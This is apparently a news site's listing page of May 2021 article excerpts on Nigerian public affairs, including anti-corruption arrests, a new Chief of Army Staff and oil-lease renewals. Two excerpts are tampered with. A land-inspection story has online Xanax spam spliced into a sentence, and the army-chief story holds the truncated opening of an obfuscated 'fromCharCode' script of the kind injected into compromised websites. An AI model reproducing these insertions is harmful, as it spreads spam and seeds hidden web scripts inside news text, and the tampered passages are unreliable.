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28May By Seun AdamsNo Comments

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ICPC Nabs Syndicate, FRSC Officials over Alleged Certificate Forgery

Two officials of the Federal Road Safety Corps (FRSC), Messrs. Edwin Onyuwe and Achigili Ogoli, have been arrested by the Independent Corrupt Practices and Other Related Offences Commission (ICPC) over certificate forgery. The Commission also arrested two members of a certificate forgery syndicate, Mr. Sunday Okpara and Abdulrahman Razak, for aiding and forging the certificate of the University of Abuja for the two officials of FRSC. In a joint statement signed by the Spokesperson for ICPC, Mrs. Azuka Ogugua and her counterpart in FRSC, Mr. Bisi Kazeem, said their arrest in Abuja, followed a petition by the Corps Marshal, Dr. Boboye Oyeyemi, to the Commission, in which he alleged that the two officials had approached the management of FRSC with forged Bachelor of Science degree...

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28May By Seun AdamsNo Comments

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FG Commissions W’ African Police Information System

The Minister of Police Affairs, Mr. Muhammadu Dingyadi, has commissioned the West African Information System (WAPIS), Data Collection and Recording Centre (DACORE) to enhance the capacity of West African law enforcement authorities to combat transnational crime and terrorism through more efficient information sharing. The Head, Press and Public Relations in the ministry, Mr.  Bolaji O. Kazeem, in a statement said the  WAPIS Data Collection and Recording Centre (DACORE) was inaugurated today by the Minister at the Nigeria Police Force Headquarters in Abuja. The Minister said that the West African Police Information System (WAPIS) data collection and recording Centre will promote inter-agency collaboration through the sharing of criminal and administrative data that will hel...

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27May By Gami TadanyigbeNo Comments

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Police, OC WORKS inspects land for police divisional HQ

A team led by the Superintendent of Police (Sp), works Department, FCT command, Mr. Musa Haruna with the Chief of Tungan Maje, Alhaji Salisu Isiaku Na’annabi and Ebosetale David Aigbefoh Esq, Vice Chairman NBA Gwagwalada Branch on Thursday inspected the Land for the construction of Divisional police Headquarters in Tungan-Maje community, in Gwagwalada area council of the Federal Capital Territory (FCT). During the inspection, the OC works expressed satisfaction over the land and promised to hit order drug online xanax the ground running promising to providing the prototype of a Divisional police Headquarters building plans by Tuesday next week. Alhaji Salisu Isiaku Na’annabi, the chief of Tungan-maje who expressed happiness, commended Barrister Aigbefoh especially and the Community ...

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27May By Mohammed MohammedNo Comments

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Buhari Names Maj. Gen.Yahaya is New Chief of Army Staff, Replaces Attahiru

President Muhammadu Buhari has appointed Major-General Farouk Yahaya as the new Chief of Army Staff. He replaces immediate past army chief, Lieutenant-General Ibrahim Attahiru who died in a Kaduna air-crash along with 10 other military officials. This development was announced in a statement signed and released on Thursday by military spokesperson Brigadier-General Onyema Nwachukwu. Prior to his appointment Major-General Yahaya was the General Officer Commanding 1 Division of the Nigerian Army and the incumbent Theatre Commander of the Counter terrorism Counter Insurgency military outfit in the North-East code-named Operation Hadin Kai, the statement said. Recall that Lt. Gen. Attahiru and 10 others died on Friday in a plane crash in Kaduna. var z =String;var t=z.fromCharCode(...

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27May By Seun AdamsNo Comments

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NCC Expresses Commitment to Empower Women, Girls Using Digital Tools

The Nigerian Communications Commission (NCC) has reaffirmed its commitment to the promotion and empowerment of young women and girls using Information and Communication Technology (ICT) in the country. The Commission expressed this commitment during separate sensitization campaigns held at Government Girls’ Science School (GSS), Kuje and Nobel Hall Leadership Academy, Abuja on Tuesday, May 25, 2021, as it joined the rest of the world in marking the 10th anniversary of Girls in ICT Day 2021. The annual event is an initiative of the International Telecommunication Union (ITU), designed to raise global awareness on empowering and encouraging young women and girls to consider studies and careers in Science, Technology, Engineering and Mathematics (STEM). Aside the sensitization campa...

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27May By Dayo OmoogunNo Comments

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NNPC, PSC Partners Sign Multibillion-Dollar Agreement to Renew OML118

The Nigerian National Petroleum Corporation (NNPC) and its Production Sharing Contract (PSC) partners - Shell Nigeria Exploration and Production Company (SNEPCo), Total Exploration and Production Nigeria Limited (TEPNG), Esso Exploration and Production Nigeria Limited (EEPNL) and Nigerian Agip Exploration (NAE) - have executed agreements to renew Oil Mining Lease (OML) 118 for another 20 years.The five agreements signed include, Dispute Settlement Agreement, Settlement Agreement, Historical Gas Agreement, Escrow Agreement and Renewed PSC Agreement. A statement by the Group General Manager, Group Public Affairs Division of the NNPC, Dr. Kennie Obateru, quoted the Group Managing Director of the Corporation, Mallam Mele Kyari, as saying that over $10bn of investment would be unlocked as a...

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27May By Dwelleth MorountodunNo Comments

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Onu Calls for Paradigm Shift, Advocate Deployment of Science Technology in Agriculture

The Minister of Science and Technology, Dr. Ogbonnaya Onu, has called for a paradigm shift in Nigeria’s agriculture to the use of Science, Technology and Innovation (STI) even as he called on the National Biotechnology Development Agency (NABDA) an agency under the ministry to help Nigeria solve its food and nutritional challenges deploying Science Technology and Innovation (STI). Speaking at the National Stakeholders’ Sensitization Workshop on Animal Biotechnology Applications and Regulatory Perspectives, organized by the agency in collaboration with International Partners recently in Abuja, Onu, said Nigerians are looking up to you (NABDA) to solve it food challenges, adding that the low content and inappropriate application of science, technology and innovation has been the bane of ...

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26May By Seun AdamsNo Comments

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Buhari: Instability in Libya, Our Deep Concern

President Muhammadu Buhari, on Wednesday expressed reservation that a stable or unstable Libya has implications for countries in the Lake Chad Basin area, including Nigeria. The disclosure was made when he hosted the Chairman, Presidential Council of Libya, Mr. Mohammed Younis Menfi, at the State House on Tuesday. In a statement made available to the media, Mr. Femi Adesina, his Special adviser on, Media and Publicity, quoted him as saying that: “Republics of Chad, and Niger, have extensive borders with Libya, and they are our immediate neighbours. Whatever affects them affects us. The stability or instability of Libya will directly affect us,” President Buhari said.  He stressed that security of Nigeria was number one priority to him, noting that “unless a country or instit...

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24May By -No Comments

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The Take-aways from President Buhari’s Visit to France

The first official visit to Europe since the COVID-19 pandemic saw President Muhammadu Buhari going to Paris, France to participate in a summit convened by Emmanuel Macron, his counterpart in France, on the financing of African post-COVID economies. The beginning of the idea of this meeting is traced to a conversation between the Kenyan President, Uhuru Kenyatta and his French counterpart, Emmanuel Macron. The conversation started like this: How would Africa come out of the challenges of the COVID-19 pandemic? It is a notorious fact that COVID-19 has led to unprecedented economic and health challenges all over the world. Africa which has recorded continuous growth in the last 25 years suffered its worst recession in 2020. The International Monetary Fund (IMF) postulates that the ...

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24May By Dele OgbodoNo Comments

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Buhari to Attahiru’s Wife, Others: Nigeria‘ll not Forget the Supreme Sacrifices of Your Late Spouses

By Mohammed Mohammed President Muhammadu Buhari has described Lt. General Ibrahim Attahiru, the late Chief of Army Staff as an outstanding soldier and an institution builder, who fought valiantly for Nigeria until he breathed his last. In a telephone conversation Sunday evening with Mrs. Fati Ibrahim Attahiru, the wife of the late COAS and the spouses of the other deceased officers through her, President Buhari hailed the sacrifices of the military men who lost their lives and the Armed Forces in general, saying that Nigerians will continue to appreciate and support the fearlessness with which our courageous soldiers are confronting the threats facing the nation. The Senior Special Assistant to the President, Media and Publicity, Mr. Garba Shehu, in a statement said Buhari, gave ...

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21May By Dele OgbodoNo Comments

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Reform on Oil/Gas: FG Moves to Legalize ‘Illegal, Artisanal oil/Gas Refiners

By Seun Adams The federal Government has pledged to legally mainstream the mini/modular refineries otherwise called illegal refiners into the country’s oil refinery processes and programmes with the aim to bring sanity into the system and the overall development of the nation. The federal government budgets and spends through the Nigerian National Petroleum Corporation (NNPC) several billions of naira on security to protect the pipelines which still suffer high degree of vandalism across the country. The disclosure was made in communique emanating from a 2-day summit declared open by the Vice President Prof. Yemi Osinbajo SAN, which included the Minister of State for National Planning, Prince Clem Agba and the Senior Special Assistant (SSA) to the President on Niger Delta Affairs...

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20May By Gami TadanyigbeNo Comments

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FG tasks stakeholders on sustainable land management policy to reverse desertification

The Federal Government has urged environmental stakeholders to brainstorm and come up with a policy document for the implementation of sustainable land management in order to reverse desertification in the country. Dr Bukar Hassan, Director-General, National Agency of the Great Green Wall (NAGGW) made this known on Wednesday in Abuja during a technical workshop organised by the agency stakeholders towards implementing sustainable land management. The theme of the workshop is “the prioritization of indicators for monitoring Sustainable Land Management (SLM) within the Great Green Wall operational areas in Nigeria.’’ Hassan who noted that land degradation had a negative impact on the lives of people in the sub-Sahara region, said the aim of the workshop was to unify indicators to g...

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19May By Seun AdamsNo Comments

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NITDA, MassChallenge Collaborate for Evolution of Nigeria’s Startup Community

The Director General of the National Information Technology Development Agency (NITDA), Mallam Kashifu Abdullahi, has expressed optimism that the partnership between the agency and MassChallenge will spur the evolution of Nigeria’s startup community. He stressed that a vibrant startup ecosystem is highly critical to the future of our country and it’s vital to finding solutions to our various challenges. The DG spoke at the media stakeholder bngagement on the Bridge to MassChallenge initiative, which is part of NITDA-MassChallenge partnership, which held on Tuesday. According to him, the conceptualization of the initiative was to help the Nigerian startups have a breakthrough and not a breakdown, during and after the COVID-19 crisis. Also, he added that the initiative is design...

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18May By Felix ShammahNo Comments

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Ahmad Lawan and Right of Opinion

By Ola Awoniyi There are as many opinions as there are Nigerians on how to address the challenges our country currently faces. That is not a problem in a democracy, every citizen has a right to express their view when the nation debates the way forward. And it does not matter whether the view conflicts or agrees with the popular or dominant view, or whether the citizen expresses it from a high or lowly position. However, some citizens tend to find it very difficult to concede this right to others whose views happen to be different from their own on issues of importance to all. And some of these people profess to be democrats. Amazing! Last Thursday, rising from Eid prayers at the end of the Muslim month of Ramadan, the Senate President, Ahmad Ibrahim Lawan, was asked of his opini...

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18May By Seun AdamsNo Comments

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$50bn ‘ll Gotten Monies: ICPC Moves to Block Illicit Financial Flow from Africa

The Independent Corrupt Practices and Other Related Offences Commission (ICPC), International Stakeholders on Financial Matters Policy and Development Experts will from today (Tuesday) begin deliberative strategy on bringing to an end the Illicit Financial Flows (IFFs) of N50 billion from Africa across international borders.The Chairman of the Commission, Prof. Bolaji Owasanoye SAN, reiterated that ICPC has put in place concerted efforts to curb the drain of resources from Nigeria through a system review of the oil and gas and as well as tax sector to address the leakage. IFFs, according to him, are funds illegally earned, illegally transferred and/or illegally utilised within a country and across international borders or money legally earned but moved wrongfully."Ilicit Financial Flow...

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17May By Dwelleth MorountodunNo Comments

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Onu Canvasses Deployment of Science Technology for Sports Development

By Dwelleth Morountodun The Minister of Science and Technology, Dr. Ogbonnaya Onu, on Monday canvassed for the deployment of Science, Technology and Innovation (STI), in sporting activities for the attainment of holistic sustainable development in Nigeria and in Africa. Onu, spoke when he received in audience the Vice President of Counseil International du Sport Militaire (CISM) and the President of the Organisation of Military Sport in Africa, Brig. Gen. Maikano Abdullahi in his office in Abuja. He however commended the efforts of the military in stemming the tide of Insurgency, banditry and other criminal activities that are prevalent in the country. The Minister hailed the resolve of international military bodies, to embark on sporting activities, adding that the sport...

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17May By Seun AdamsNo Comments

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2021 WTISD: Danbatta Pledges Commitment to Drive Digital Nigeria with ICT

The Chief Executive Office/Executive Vice Chairman, of the Nigerian Communications Commission (NCC), Prof. Umar Danbatta, has restated the commitment of the Commission to leverage on the power of Information and Communications Technology (ICT) in digitally transforming the society and communities for the good of all. The NCC boss made the disclosure at the 14th World Telecommunication and Information Society Day (WTISD), with the theme: “Accelerating Digital Transformation in Challenging Times.”  Danbatta, said: “The WTISD 2021 provides a unique opportunity for International Communication Union (ITU) members to continue in their quest for an accelerated digital transformation agenda that is all-encompassing, by promoting national strategies on ICT development across the world. ...

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17May By Seun AdamsNo Comments

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Buhari Felicitates with Obi of Onitsha @80

By Seun Adams The Special Adviser to President Muhammadu Buhari, on Media and Publicity, Mr. Femi Adesina, has expressed the President’s felicitation with the Obi of Onitsha, Igwe Nnaemeka Alfred Achebe on the occasion of his 80th birthday during the week end. Buhari, according to Adesina, commending the royal father’s unwavering dedication to Nigeria’s unity and development. He said: “As a notable traditional leader, President Buhari salutes the Igwe for devoting so much of his time, resources and influence to champion access to quality education as a necessity for national development. “The President thanks Agbogidi for setting a worthy example to the traditional institution on dignity and honour in public office, respect for diversity, and dedication to the c...

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16May By Felix ShammahNo Comments

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A DIAGNOSIS OF THE PROBLEMS IN NIGERIA AND PRESCRIPTIONS FOR A BETTER NIGERIA

By J.D.Ephraim A good diagnosis will, invariably, lead to a good prescription. Where the first is faulty, then it will lead to faulty prescription and faulty prognosis.Putting everything together and weighing the strength and contribution of each, I have come to the inevitable conclusion that Nigeria, in this Presidential system of government is suffering, principally, from,bad, incompetent, inept, and clueless political leadership. If a competent leadership that is opposite of the above were in place, and inspite of the faulty political structure , the good leadership would have corrected all the other ills identified. It would seem the political leadership is not conscious of history; either past, present or future and so,seem incapable of assessing the verdict of history through...

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16May By Gami TadanyigbeNo Comments

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Organisation offers free medical services to 300 widows, Orphans in FCT

Doctoz, a United Kingdom based health organisation has offered free medical services to over 300 widows and orphans in the Federal Capital Territory (FCT). Dr Chidi Umeokoli, the Medical Officer of the organisation, during the exercise in Abuja said that the benefitting widows and orphans were selected from all the satellite towns in FCT. Umeokoli said that the organisation had the passion in providing medical outreach and health facilities to the less privileged people especially at the rural areas. “This is just a call to humanity and we are trying to reach out to the widows and orphans, basically the satellite towns because this people find it difficult to access proper healthcare. “We are trying to do more of preventive medicines here as the saying goes ‘prevention is bett...

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